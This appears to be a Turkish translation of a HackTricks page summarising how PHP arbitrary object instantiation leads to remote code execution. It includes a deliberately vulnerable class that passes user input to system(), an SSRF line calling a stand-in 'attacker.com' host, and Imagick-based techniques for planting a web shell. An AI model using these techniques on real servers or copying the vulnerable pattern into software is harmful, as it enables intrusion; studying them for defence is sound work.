PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

AWS hacklemeyi sıfırdan kahraman olmak için öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'i desteklemenin diğer yolları:

Bu temel olarak https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ adresindeki bir özetidir.

Giriş

new $_GET["a"]($_GET["b"]) gibi yeni keyfi nesnelerin oluşturulması, Uzaktan Kod Yürütme (RCE) ile sonuçlanabilir. Bu, bir yazıda detaylı olarak açıklanmıştır. Bu belge, RCE elde etmek için çeşitli stratejileri vurgular.

Özel Sınıflar veya Otomatik Yükleme ile RCE

new $a($b) sözdizimi, bir nesnenin oluşturulması için kullanılır, burada $a sınıf adını temsil eder ve $b yapıcıya iletilen ilk argümandır. Bu değişkenler, GET/POST gibi kullanıcı girişlerinden veya JSON'dan alınabilir, burada dize veya dizi olabilirler veya diğer türler olarak sunulabilirler.

Aşağıdaki kod örneğini düşünün:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

Bu durumda, $a'yı App veya App2 olarak ayarlamak ve $b'yi bir sistem komutu (örneğin, uname -a) olarak ayarlamak, o komutun çalıştırılmasına neden olur.

Otomatik yükleme işlevleri, doğrudan erişilebilen sınıflar yoksa istismar edilebilir. Bu işlevler, ihtiyaç duyulduğunda sınıfları dosyalardan otomatik olarak yükler ve spl_autoload_register veya __autoload kullanılarak tanımlanır:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Autoloading davranışı, PHP sürümlerine göre değişir ve farklı RCE olanakları sunar.

Yerleşik Sınıflar Aracılığıyla RCE

Özel sınıflar veya otomatik yükleyiciler olmadığında, yerleşik PHP sınıfları RCE için yeterli olabilir. Bu sınıfların sayısı, PHP sürümüne ve uzantılara bağlı olarak 100 ila 200 arasında değişir. Bunlar get_declared_classes() kullanılarak listelenebilir.

İlgili yapıcılar, aşağıdaki örnekte ve https://3v4l.org/2JEGF bağlantısında gösterildiği gibi yansıtma API'si aracılığıyla belirlenebilir.

Belirli yöntemler aracılığıyla RCE şunları içerir:

SSRF + Phar Deserialization

SplFileObject sınıfı, yapıcısı aracılığıyla SSRF'yi etkinleştirir ve herhangi bir URL'ye bağlantı yapılmasına izin verir:

new SplFileObject('http://attacker.com/');

SSRF, PHP'nin 8.0 öncesi sürümlerinde Phar protokolünü kullanarak deserializasyon saldırılarına yol açabilir.

PDO'ları Sömürmek

PDO sınıfının yapıcı fonksiyonu, DSN dizeleri aracılığıyla veritabanlarına bağlantı sağlar ve potansiyel olarak dosya oluşturma veya diğer etkileşimleri mümkün kılar:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

PHP'nin 5.3.22 ve 5.4.12 sürümlerine kadar olan versiyonları, SoapClient ve SimpleXMLElement yapılandırıcıları aracılığıyla XXE saldırılarına açıktı, ancak libxml2 sürümüne bağlı olarak değişiyordu.

Imagick Uzantısı Aracılığıyla RCE

Bir projenin bağımlılıklarının analizi sırasında, Imagick'in yeni nesnelerin oluşturulmasıyla komut yürütme için kullanılabileceği keşfedildi. Bu, zafiyetlerin sömürülmesi için bir fırsat sunar.

VID ayrıştırıcısı

VID ayrıştırıcısının, dosya sisteminde belirtilen herhangi bir yola içerik yazabilme yeteneği belirlendi. Bu, bir PHP kabuğunun web erişimine açık bir dizine yerleştirilmesine ve Uzaktan Kod Yürütme (RCE) elde edilmesine yol açabilir.

VID Ayrıştırıcısı + Dosya Yükleme

PHP'nin geçici olarak yüklenen dosyaları /tmp/phpXXXXXX dizininde depoladığı belirtilmektedir. Imagick'teki VID ayrıştırıcısı, msl protokolünü kullanarak dosya yollarında joker karakterlerini işleyebilir ve geçici dosyanın istenen konuma transferini kolaylaştırır. Bu yöntem, dosya sistemi içinde keyfi dosya yazma işlemini gerçekleştirmek için ek bir yaklaşım sunar.

PHP Çökertme + Kaba Kuvvet

Orijinal yazıda açıklanan bir yöntem, silinmeden önce sunucuyu çökerten dosyaların yüklenmesini içerir. Geçici dosyanın adını kaba kuvvetle tahmin ederek, Imagick'in keyfi PHP kodunu yürütmesi mümkün hale gelir. Ancak, bu teknik yalnızca eski bir ImageMagick sürümünde etkili bulundu.

Referanslar

AWS hacklemeyi sıfırdan kahraman olacak şekilde öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

Last updated